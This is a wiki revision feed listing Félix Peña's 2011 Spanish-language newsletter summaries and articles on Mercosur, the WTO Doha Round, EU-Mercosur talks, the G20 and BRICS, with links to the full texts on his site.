===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2028</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2028"/>
		<updated>2011-08-29T23:05:50Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* NEWSLETTERS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
